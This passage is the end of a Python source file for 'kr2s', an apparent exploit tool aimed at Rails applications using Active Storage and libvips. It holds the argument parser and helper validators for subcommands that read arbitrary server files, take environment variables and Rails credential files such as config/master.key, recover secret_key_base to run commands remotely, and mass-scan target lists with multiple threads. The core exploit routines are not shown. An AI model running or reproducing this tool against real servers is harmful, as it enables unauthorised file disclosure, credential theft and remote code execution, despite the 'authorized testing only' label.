                json.dumps(results, indent=2) + "\n",
                encoding="utf-8",
            )
        except OSError as error:
            raise Kr2sError(
                f"could not write JSON report {arguments.json_output}: {error}"
            ) from error
        good(f"wrote JSON report to {arguments.json_output}")

    vulnerable = sum(result["status"] == "VULNERABLE" for result in results)
    errors = sum(result["status"] == "ERROR" for result in results)
    info(
        f"scan complete: {vulnerable} confirmed vulnerable, "
        f"{errors} error(s), {len(results)} total"
    )
    return 2 if errors == len(results) else 0


def _positive_size(value: str) -> int:
    try:
        parsed = int(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be an integer") from error
    if not 1 <= parsed <= _MAX_READ_SIZE:
        raise argparse.ArgumentTypeError(f"must be between 1 and {_MAX_READ_SIZE}")
    return parsed


def _nonnegative(value: str) -> int:
    try:
        parsed = int(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be an integer") from error
    if parsed < 0:
        raise argparse.ArgumentTypeError("must not be negative")
    return parsed


def _worker_count(value: str) -> int:
    try:
        parsed = int(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be an integer") from error
    if not 1 <= parsed <= 64:
        raise argparse.ArgumentTypeError("must be between 1 and 64")
    return parsed


def _common(
    parser: argparse.ArgumentParser,
    *,
    target_name: str = "url",
    target_help: str = "Rails application origin",
) -> None:
    parser.add_argument(target_name, help=target_help)
    parser.add_argument(
        "--show-path",
        default="/show/{signed_id}",
        help="fallback app view that renders a variant; include {signed_id}",
    )
    parser.add_argument(
        "--show-param",
        action="append",
        metavar="KEY=VALUE",
        help="fallback view query parameter; repeatable",
    )
    parser.add_argument(
        "--entry", default="/", help="page used for CSRF and variation harvesting"
    )
    parser.add_argument(
        "--harvest-url",
        metavar="PAGE",
        help="page containing an existing Active Storage representation URL",
    )
    parser.add_argument("--filename", default="avatar.png")
    parser.add_argument("--timeout", type=float, default=30)
    parser.add_argument("--insecure", action="store_true")
    parser.add_argument("--user-agent", default=_DEFAULT_UA)
    parser.add_argument("--proxy", help="HTTP(S) proxy URL")


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        prog="kr2s",
        description=BANNER,
        epilog=(
            "Authorized testing only. Exploit commands and scan --active upload "
            "persistent target artifacts."
        ),
    )
    parser.add_argument("--version", action="version", version=f"kr2s {__version__}")
    commands = parser.add_subparsers(dest="command_name", required=True)

    check = commands.add_parser("check", help="intrusively confirm file read")
    _common(check)
    check.add_argument("--canary", default="/etc/hostname")
    check.add_argument("--size", type=_positive_size, default=512)
    check.set_defaults(handler=cmd_check)

    read = commands.add_parser("read", help="recover a fixed-size file prefix")
    _common(read)
    read.add_argument("path", help="absolute target-side path")
    read.add_argument("-o", "--output")
    read.add_argument("--size", type=_positive_size, default=4096)
    read.add_argument("--offset", type=_nonnegative, default=0)
    read.set_defaults(handler=cmd_read)

    secret_parser = commands.add_parser(
        "secrets", help="recover process environment and Rails credential files"
    )
    _common(secret_parser)
    secret_parser.add_argument("--size", type=_positive_size, default=16384)
    secret_parser.add_argument("--show-full", action="store_true")
    secret_parser.add_argument(
        "--also-read",
        nargs="*",
        default=[
            "/proc/self/cwd/config/master.key",
            "/proc/self/cwd/config/credentials.yml.enc",
        ],
    )
    secret_parser.set_defaults(handler=cmd_secrets)

    rce = commands.add_parser(
        "rce", help="recover secret_key_base and run a command conditionally"
    )
    _common(rce)
    rce.add_argument("command", nargs="?", default="id")
    rce.add_argument("--skb", help="known secret_key_base; skips environment read")
    rce.add_argument("--size", type=_positive_size, default=16384)
    rce.set_defaults(handler=cmd_rce)

    probe = commands.add_parser(
        "probe", help="probe selected libvips untrusted loaders"
    )
    _common(probe)
    probe.add_argument("--canary", default="/etc/hostname")
    probe.add_argument("--size", type=_positive_size, default=512)
    probe.set_defaults(handler=cmd_probe)

    scan = commands.add_parser(
        "scan", help="threaded passive preflight or active file-read check"
    )
    _common(
        scan,
        target_name="target",
        target_help="single URL, hostname, or file with one target per line",
    )
    scan.add_argument(
        "--active",
        action="store_true",
        help="confirm file read; uploads persistent artifacts",
    )
    scan.add_argument(
        "--threads",
        type=_worker_count,
        default=10,
        help="worker threads (default: 10, maximum: 64)",
    )
    scan.add_argument("--canary", default="/etc/hostname")
    scan.add_argument("--size", type=_positive_size, default=64)
    scan.add_argument(
        "--json",
        dest="json_output",
        metavar="PATH",
        help="write a JSON report",
    )
    scan.set_defaults(handler=cmd_scan)
    return parser


def main(argv: list[str] | None = None) -> int:
    arguments = build_parser().parse_args(argv)
    try:
        return arguments.handler(arguments)
    except KeyboardInterrupt:
        bad("interrupted")
        return 130
    except Kr2sError as error:
        bad(str(error))
        return 2


if __name__ == "__main__":
    sys.exit(main())